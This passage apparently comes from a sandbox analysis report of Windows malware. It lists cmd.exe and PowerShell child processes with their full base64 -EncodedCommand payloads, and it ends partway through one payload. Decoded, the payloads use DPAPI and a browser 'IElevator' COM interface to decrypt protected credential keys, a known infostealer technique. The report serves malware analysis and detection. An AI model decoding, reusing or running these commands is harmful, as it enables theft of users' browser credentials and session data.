  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAEIAaABVAE0AZAArAHEAcgBrAGsAcQBGAE8AYwBYAEQAbwA3ACsARwBRAFIAQQBBAEEAQQBBAGMAQQBBAEEAQQBSAHcAQgB2AEEARwA4AEEAWgB3AEIAcwBBAEcAVQBBAEkAQQBCAEQAQQBHAGcAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEEAQQBBAEIAQgBtAEEAQQBBAEEAQQBRAEEAQQBJAEEAQQBBAEEATAA3AGUAMwBJAGsANABVAEsAdAA1AEYANgBxADkAVQA3AC8AQwBzAEUAUwBGAFgAYwBEAFkAZgBJAFkASgBjADAAdQBkADEAYgB0AHIATABnAE4AbABBAEEAQQBBAEEAQQA2AEEAQQBBAEEAQQBBAGcAQQBBAEkAQQBBAEEAQQBBAC8ASAByAHkAKwBCAHMAVABmAEYAOQBHAG0AbQBBAFEAMQB2AFoAQwBJAFAATgBYAGIANABhAFcAVgBkAGEAVQBjAGMAWABIAHoAWABUAEYAbgBSAE0AQQBBAEEAQQBMAEsAZQBFAEMAcQAyAFEASwB5AG0ANwBCAEIAbwBTAEQAVgBMAEwANgByAFEANAByAGIANQBSADQAZgBNADgAKwBtAGgAMQB4AGkAcABLAHIAaAB0AEQARABWAHgATwBDAGYAcgBXAFAASQBBAE0AQgB5AG4ASgBxAHIAdQBxADAAQQBBAEEAQQBCAFYAbABsAEoAZABMAGsAeABvAEIAaQB3ADQAdgAyAFUAOQAyAFQATABkAGUANwBaAE8ARgAxAE8AZABOADkAeQBpAHQAeABJACsAbgBxAEMAegBEAEQANgA4AGYANQBuAFYAVwBqAG0ANwBQAEkAMgBHAGwAawBlAC8ARwA0AGEAQQA4AGQAOAB3AGEAYwBkAGQAVQA4ADIAaQBVAGgAaQAwAEQAZQBxAHEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcwAgAGkAbgAgAEAAKAAnAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAnACwAJwBMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAnACkAKQB7AHQAcgB5AHsAJAByAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAYgAsACQAbgB1AGwAbAAsACQAcwApADsAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewB9AH0A"
  2⤵
  - Executes a command shell one-liner
  PID:1208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAEIAaABVAE0AZAArAHEAcgBrAGsAcQBGAE8AYwBYAEQAbwA3ACsARwBRAFIAQQBBAEEAQQBBAGMAQQBBAEEAQQBSAHcAQgB2AEEARwA4AEEAWgB3AEIAcwBBAEcAVQBBAEkAQQBCAEQAQQBHAGcAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEEAQQBBAEIAQgBtAEEAQQBBAEEAQQBRAEEAQQBJAEEAQQBBAEEATAA3AGUAMwBJAGsANABVAEsAdAA1AEYANgBxADkAVQA3AC8AQwBzAEUAUwBGAFgAYwBEAFkAZgBJAFkASgBjADAAdQBkADEAYgB0AHIATABnAE4AbABBAEEAQQBBAEEAQQA2AEEAQQBBAEEAQQBBAGcAQQBBAEkAQQBBAEEAQQBBAC8ASAByAHkAKwBCAHMAVABmAEYAOQBHAG0AbQBBAFEAMQB2AFoAQwBJAFAATgBYAGIANABhAFcAVgBkAGEAVQBjAGMAWABIAHoAWABUAEYAbgBSAE0AQQBBAEEAQQBMAEsAZQBFAEMAcQAyAFEASwB5AG0ANwBCAEIAbwBTAEQAVgBMAEwANgByAFEANAByAGIANQBSADQAZgBNADgAKwBtAGgAMQB4AGkAcABLAHIAaAB0AEQARABWAHgATwBDAGYAcgBXAFAASQBBAE0AQgB5AG4ASgBxAHIAdQBxADAAQQBBAEEAQQBCAFYAbABsAEoAZABMAGsAeABvAEIAaQB3ADQAdgAyAFUAOQAyAFQATABkAGUANwBaAE8ARgAxAE8AZABOADkAeQBpAHQAeABJACsAbgBxAEMAegBEAEQANgA4AGYANQBuAFYAVwBqAG0ANwBQAEkAMgBHAGwAawBlAC8ARwA0AGEAQQA4AGQAOAB3AGEAYwBkAGQAVQA4ADIAaQBVAGgAaQAwAEQAZQBxAHEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcwAgAGkAbgAgAEAAKAAnAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAnACwAJwBMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAnACkAKQB7AHQAcgB5AHsAJAByAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAYgAsACQAbgB1AGwAbAAsACQAcwApADsAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewB9AH0A
    3⤵
    PID:3048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAEIAaABVAE0AZAArAHEAcgBrAGsAcQBGAE8AYwBYAEQAbwA3ACsARwBRAFIAQQBBAEEAQQBBAGUAQQBBAEEAQQBUAFEAQgBwAEEARwBNAEEAYwBnAEIAdgBBAEgATQBBAGIAdwBCAG0AQQBIAFEAQQBJAEEAQgBGAEEARwBRAEEAWgB3AEIAbABBAEEAQQBBAEUARwBZAEEAQQBBAEEAQgBBAEEAQQBnAEEAQQBBAEEAeABQAGYAUABSAG0AbwBqAEwAYQBwAFEASABJAHkAZQAzAEsAaQBoAFoAeABRAFQAYwB2AHEAUwArAEoAbQBtAHUAMQBuAFkAYwBQAGkAVAArAFAANABBAEEAQQBBAEEARABvAEEAQQBBAEEAQQBDAEEAQQBBAGcAQQBBAEEAQQBGAFoAQgB5AHoAOABEAFUAVwBKAEwAZgBuAHUARwBsADMASwBJAFAAVwBKAEcAOQB6AE4AbAA4ADEAcABBAGoAZQBrADEAdABHAEoAdAA0AFcAcABBAHcAQQBBAEEAQQByAHAAdQBXADQAWQA3AHQASwBJAFMAUgBuADgALwBJAEYAbAA3AEYALwBNAE0ATAB6AHUANABrAG4ASwAyAE8AZgBNAFAAcgA2AGcASwBJAGMAMwBsAHMAVABpAHMAYgBOAGwATwBRAHcARwByAGgAcAAvAFMAdAAvAEUARABqAFEAQQBBAEEAQQBKAG4AZgB0AFkAZgBzAGMAUwBlAEcAcwAvAEwAUwBMADQAWQBLAGMAUABwAEoAVABFAG8AYQBDAEcARwBkAEgARQB5AHEAMQA2AEUALwBDAE4AVQBTAG0AVwBpAE4ASQBEAGcAWQBuAHgAawBvAFQAcABTAEsAUwBiAGUATgByAFcAcgBLAHAAaABMAHgAeAA1ADcAZQBOAHAAQwBoAGoASABSAGsAMgBLAFkAPQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABzACAAaQBuACAAQAAoACcAQwB1AHIAcgBlAG4AdABVAHMAZQByACcALAAnAEwAbwBjAGEAbABNAGEAYwBoAGkAbgBlACcAKQApAHsAdAByAHkAewAkAHIAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABiACwAJABuAHUAbABsACwAJABzACkAOwBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AH0AfQA="
  2⤵
  - Executes a command shell one-liner
  PID:1704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAEIAaABVAE0AZAArAHEAcgBrAGsAcQBGAE8AYwBYAEQAbwA3ACsARwBRAFIAQQBBAEEAQQBBAGUAQQBBAEEAQQBUAFEAQgBwAEEARwBNAEEAYwBnAEIAdgBBAEgATQBBAGIAdwBCAG0AQQBIAFEAQQBJAEEAQgBGAEEARwBRAEEAWgB3AEIAbABBAEEAQQBBAEUARwBZAEEAQQBBAEEAQgBBAEEAQQBnAEEAQQBBAEEAeABQAGYAUABSAG0AbwBqAEwAYQBwAFEASABJAHkAZQAzAEsAaQBoAFoAeABRAFQAYwB2AHEAUwArAEoAbQBtAHUAMQBuAFkAYwBQAGkAVAArAFAANABBAEEAQQBBAEEARABvAEEAQQBBAEEAQQBDAEEAQQBBAGcAQQBBAEEAQQBGAFoAQgB5AHoAOABEAFUAVwBKAEwAZgBuAHUARwBsADMASwBJAFAAVwBKAEcAOQB6AE4AbAA4ADEAcABBAGoAZQBrADEAdABHAEoAdAA0AFcAcABBAHcAQQBBAEEAQQByAHAAdQBXADQAWQA3AHQASwBJAFMAUgBuADgALwBJAEYAbAA3AEYALwBNAE0ATAB6AHUANABrAG4ASwAyAE8AZgBNAFAAcgA2AGcASwBJAGMAMwBsAHMAVABpAHMAYgBOAGwATwBRAHcARwByAGgAcAAvAFMAdAAvAEUARABqAFEAQQBBAEEAQQBKAG4AZgB0AFkAZgBzAGMAUwBlAEcAcwAvAEwAUwBMADQAWQBLAGMAUABwAEoAVABFAG8AYQBDAEcARwBkAEgARQB5AHEAMQA2AEUALwBDAE4AVQBTAG0AVwBpAE4ASQBEAGcAWQBuAHgAawBvAFQAcABTAEsAUwBiAGUATgByAFcAcgBLAHAAaABMAHgAeAA1ADcAZQBOAHAAQwBoAGoASABSAGsAMgBLAFkAPQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABzACAAaQBuACAAQAAoACcAQwB1AHIAcgBlAG4AdABVAHMAZQByACcALAAnAEwAbwBjAGEAbABNAGEAYwBoAGkAbgBlACcAKQApAHsAdAByAHkAewAkAHIAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABiACwAJABuAHUAbABsACwAJABzACkAOwBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AH0AfQA=
    3⤵
    PID:1612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACcACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwAKAFsAQwBvAG0ASQBtAHAAbwByAHQALAAgAEcAdQBpAGQAKAAiAEEAOQA0ADkAQwBCADQARQAtAEMANABGADkALQA0ADQAQwA0AC0AQgAyADEAMwAtADYAQgBGADgAQQBBADkAQQBDADYAOQBDACIAKQAsACAASQBuAHQAZQByAGYAYQBjAGUAVAB5AHAAZQAoAEMAbwBtAEkAbgB0AGUAcgBmAGEAYwBlAFQAeQBwAGUALgBJAG4AdABlAHIAZgBhAGMAZQBJAHMASQBVAG4AawBuAG8AdwBuACkAXQAKAHAAdQBiAGwAaQBjACAAaQBuAHQAZQByAGYAYQBjAGUAIABJAEUAbABlAHYAYQB0AG8AcgAgAHsACgAgACAAIAAgAFsAUAByAGUAcwBlAHIAdgBlAFMAaQBnAF0AIABpAG4AdAAgAFIAdQBuAFIAZQBjAG8AdgBlAHIAeQBDAFIAWABFAGwAZQB2AGEAdABlAGQAKABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAYQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4ATABQAFcAUwB0AHIAKQBdACAAcwB0AHIAaQBuAGcAIABiACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBMAFAAVwBTAHQAcgApAF0AIABzAHQAcgBpAG4AZwAgAGMALABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAZAAsAHUAaQBuAHQAIABlACwAbwB1AHQAIAB1AGwAbwBuAGcAIABmACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARQBuAGMAcgB5AHAAdABEAGEAdABhACgAaQBuAHQAIABwACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARABlAGMAcgB5AHAAdABEAGEAdABhACgAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKAH0ACgAnAEAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAkAGIAPQAnAFEAVgBCAFEAUQBnAEUAQQBBAEEARABRAGoASgAzAGYAQQBSAFgAUgBFAFkAeAA2AEEATQBCAFAAdwBwAGYAcgBBAFEAQQBBAEEARQBQAHYALwBlAEIAdwBQADIAQgBNAGkAUABrAEQAUgBrAE4AcgAyAGEAUQBRAEEAQQBBAEEASABBAEEAQQBBAEUAYwBBAGIAdwBCAHYAQQBHAGMAQQBiAEEAQgBsAEEAQwBBAEEAUQB3AEIAbwBBAEgASQBBAGIAdwBCAHQAQQBHAFUAQQBBAEEAQQBRAFoAZwBBAEEAQQBBAEUAQQBBAEMAQQBBAEEAQQBCAFUAQwB6AHEAOABpAHQANgBZADEAUwB0AE4AaQBsAEIASgByADIAeABoAEEAZABxAEwAeAAxAG0AVABYAFcAaABoAEwARQBwAHoATgA0ADIAYwBaAFEAQQBBAEEAQQBBAE8AZwBBAEEAQQBBAEEASQBBAEEAQwBBAEEAQQBBAEEARQBKAHUAcgBTAHcAbABlACsAQQBsAFUAcABoAFkARABXAHoAZQA0AE4AdQBKAFUAZABXAGYAVgBkAGEAZgBWAHQANwA2AEkAMQBGAEoAMABqAFIAcABBAEIAQQBBAEIAcwBiADUASAA4AGgAUABQAHcAMAA1AEQARQBRAHYASgB0AHcASwAwADkASAArADYAdQBNAHMAOABRADEAUwB6AHcAaQBSAGUAWABpAFMAbwBSAGIAMgA0ADQAaQB6AHIAMgBzADIAOQBFAE4AZQB1ADQAeQBSAEEAbQBFAE4ATwBMAFUAZAA4AHcAcwBZADcAZgAwAG4AegB5AE8ATgBBAEcAaAB5ACsAMQBlADYAVQBiAC8AQgByAEgAbgBrAEMAdABpAFYAZgBYAFEANQBoADAAWABHAEYAKwArAC8ARwB6AGEAbABaAEkAcgBGAGcAUgBFAGkAKwBVADcAQwBIAGcASgBlAEQATQBHAHQAdAAxAEIAbAA5AE4ANwBmAGQAcABoADIASgA4AGMAZAB0ADYASgAvADAAVgBSAEMASQBTAE8AVQAzAGQAVABxAHAAcgB0ADAASwBNAE0ATwBRAEIAMwBSAGMAbwBVAHMAcAA2AHoAaAAxAFQANQAwAFMAMgArADgAMgB4ADYAZwBPAHYANwBUAFYAZwBPACsASgBYAEkAaABqAFQAcwB3AFoAVwBHAEUAZgBpAFMAMwBXAHYASwB5AFgAdQB1AGgAdABvAFAATwBoADMANwBqAEYAUQBYAGgAUABHAEwASABnAGEAQwBsAEYAOQA5ADQAegBZAHAAYwBTAFEASwAzAFIAbgBLAEoAWgBhAEwAeABJAEoARQBuAHkARwBsAG8AawBkAFcAZwBPAFEAUABiAGoAdwBxAEEARABLAG0ATABkAFgAUgBEAFYAZQBVADMASwBnAGUAdQBLAGoAQQB6AGYANwBUAGgAaABpAEcAWQBTAGYANgB2AE4AbAB4AFcAKwBhAEMAegBRAHcANwAzADMALwBxAFYAYwB6AHAAVQBRAGYAUwBPAHkAUQBRAEkASAB1AGcANwBxAFoASAB4AGcAeQBaADMAYwB4AGcATgBrAFUASgBCAEsAdQBYAEwAWABvAEkAVwArAHAAcQBKAEYAMgBKAFkAbgBLAGcAcgBWAEIAawBJAHYAbQBVAHgAUQBWAHkANABtAHgAZgB4AFkAcgB1ADQAUABLAHYAWAB4AFQAdQB0AFQAUABWADMAVwBvAEQARgBFAFMAeQAzAGwARQB0ADYAawBZAHoAawBlAEsAeQBLAEEARgB6ADcAWgBKAFIAcwB1ADAAawBLAEIAaABkADMASQAxAG0AZgBhADcAbwByAE0ANAA4AEgATgBEAEkALwArAEwAZQBGADIAMwBwAHQASgByAHEAYQBQAGEAUABmAHIAdQAvAEkAYQB1AG0AQwA2AEcAbgB4AFAAKwBwAHIAeQAxAGIATABsAEQAbwAvAFcAbgA3AFkAVAB0AEMANQBHAEkAeQBjAEcAQQBSAFUAMwA3AFEAQQBBAEEAQQBJAGwAUgA0AEEAQgBEAFEAdQBoAEQAagBEAE8AOABoAEQAaQBOAGUAZABCAGkALwA3AEUANwBiAGYAeQByADIAaABHADIAegA4AEQAUwA0AEsAZQBwAFcAMwAvAEgAbgA3AHMAVABqAHcAbwBNAHMAVwBKAHYAOQBRAEYAYQBBADMAWABqAEkARgBIAHEAcwA3AFEAQwBoAGMAUwA1AFgAOAAzAGIAbQBwAEkAPQAnAAoAJABlAG4AYwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEwAYQB0AGkAbgAxAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgApACkACgBmAG8AcgBlAGEAYwBoACgAJABjACAAaQBuACAAQAAoACcAewA3ADAAOAA4ADYAMABFADAALQBGADYANAAxAC0ANAA2ADEAMQAtADgAOAA5ADUALQA3AEQAOAA2ADcARABEADMANgA3ADUAQgB9ACcALAAnAHsARABEADIAQwBDADAANABBAC0ARAAzAEQAMwAtADQARABDAEEALQBCAEQAQgA3AC0ARQAwADcARgA0AEIAMAA1AEIANQBGADkAfQAnACwAJwB7AEQAQQA3AEYARABDAEEANQAtADIAQwBBAEEALQA0ADYAMwA3AC0AQQBBADEANwAtADAANwA0ADAANQA4ADQARABFADcARABBAH0AJwAsACcAewA3ADAANABDADIAOAA3ADIALQAyADAANAA5AC0ANAAzADUARQAtAEEANAA2ADkALQAwAEEANQAzADQAMwAxADMAQwA0ADIAQgB9ACcALAAnAHsANQA3ADYAQgAzADEAQQBGAC0ANgAzADYAOQAtADQAQwBCAEIALQBCADMANAA1AC0ANgBCADgAOABFADgAQgBBAEIAMwBDAEUAfQAnACkAKQB7AAoAIAAgACAAIAB0AHIAeQB7AAoAIAAgACAAIAAgACAAIAAgACQAZQBsAD0AWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKABbAFQAeQBwAGUAXQA6ADoARwBlAHQAVAB5AHAAZQBGAHIAbwBtAEMATABTAEkARAAoAFsARwB1AGkAZABdACQAYwAsACQAdAByAHUAZQApACkAIAAtAGEAcwAgAFsASQBFAGwAZQB2AGEAdABvAHIAXQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAhACQAZQBsACkAewBjAG8AbgB0AGkAbgB1AGUAfQAKACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAD0AWwBzAHQAcgBpAG4AZwBdADoAOgBFAG0AcAB0AHkAOwAkAGUAcgByAD0AWwB1AGkAbgB0ADMAMgBdADAACgAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAGwALgBEAGUAYwByAHkAcAB0AEQAYQB0AGEAKAAkAGUAbgBjACwAWwByAGUAZgBdACQAZABlAGMALABbAHIAZQBmAF0AJABlAHIAcgApACAALQBlAHEAIAAwACAALQBhAG4AZAAgACQAZABlAGMALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoAVwByAGkAdABlAEwAaQBuAGUAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoATABhAHQAaQBuADEALgBHAGUAdABCAHkAdABlAHMAKAAkAGQAZQBjACkAKQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAgADAACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQBjAGEAdABjAGgAewB9AAoAfQA="
  2⤵
  - Executes a command shell one-liner
  PID:4932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACcACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwAKAFsAQwBvAG0ASQBtAHAAbwByAHQALAAgAEcAdQBpAGQAKAAiAEEAOQA0ADkAQwBCADQARQAtAEMANABGADkALQA0ADQAQwA0AC0AQgAyADEAMwAtADYAQgBGADgAQQBBADkAQQBDADYAOQBDACIAKQAsACAASQBuAHQAZQByAGYAYQBjAGUAVAB5AHAAZQAoAEMAbwBtAEkAbgB0AGUAcgBmAGEAYwBlAFQAeQBwAGUALgBJAG4AdABlAHIAZgBhAGMAZQBJAHMASQBVAG4AawBuAG8AdwBuACkAXQAKAHAAdQBiAGwAaQBjACAAaQBuAHQAZQByAGYAYQBjAGUAIABJAEUAbABlAHYAYQB0AG8AcgAgAHsACgAgACAAIAAgAFsAUAByAGUAcwBlAHIAdgBlAFMAaQBnAF0AIABpAG4AdAAgAFIAdQBuAFIAZQBjAG8AdgBlAHIAeQBDAFIAWABFAGwAZQB2AGEAdABlAGQAKABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAYQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4ATABQAFcAUwB0AHIAKQBdACAAcwB0AHIAaQBuAGcAIABiACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBMAFAAVwBTAHQAcgApAF0AIABzAHQAcgBpAG4AZwAgAGMALABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAZAAsAHUAaQBuAHQAIABlACwAbwB1AHQAIAB1AGwAbwBuAGcAIABmACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARQBuAGMAcgB5AHAAdABEAGEAdABhACgAaQBuAHQAIABwACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARABlAGMAcgB5AHAAdABEAGEAdABhACgAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKAH0ACgAnAEAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAkAGIAPQAnAFEAVgBCAFEAUQBnAEUAQQBBAEEARABRAGoASgAzAGYAQQBSAFgAUgBFAFkAeAA2AEEATQBCAFAAdwBwAGYAcgBBAFEAQQBBAEEARQBQAHYALwBlAEIAdwBQADIAQgBNAGkAUABrAEQAUgBrAE4AcgA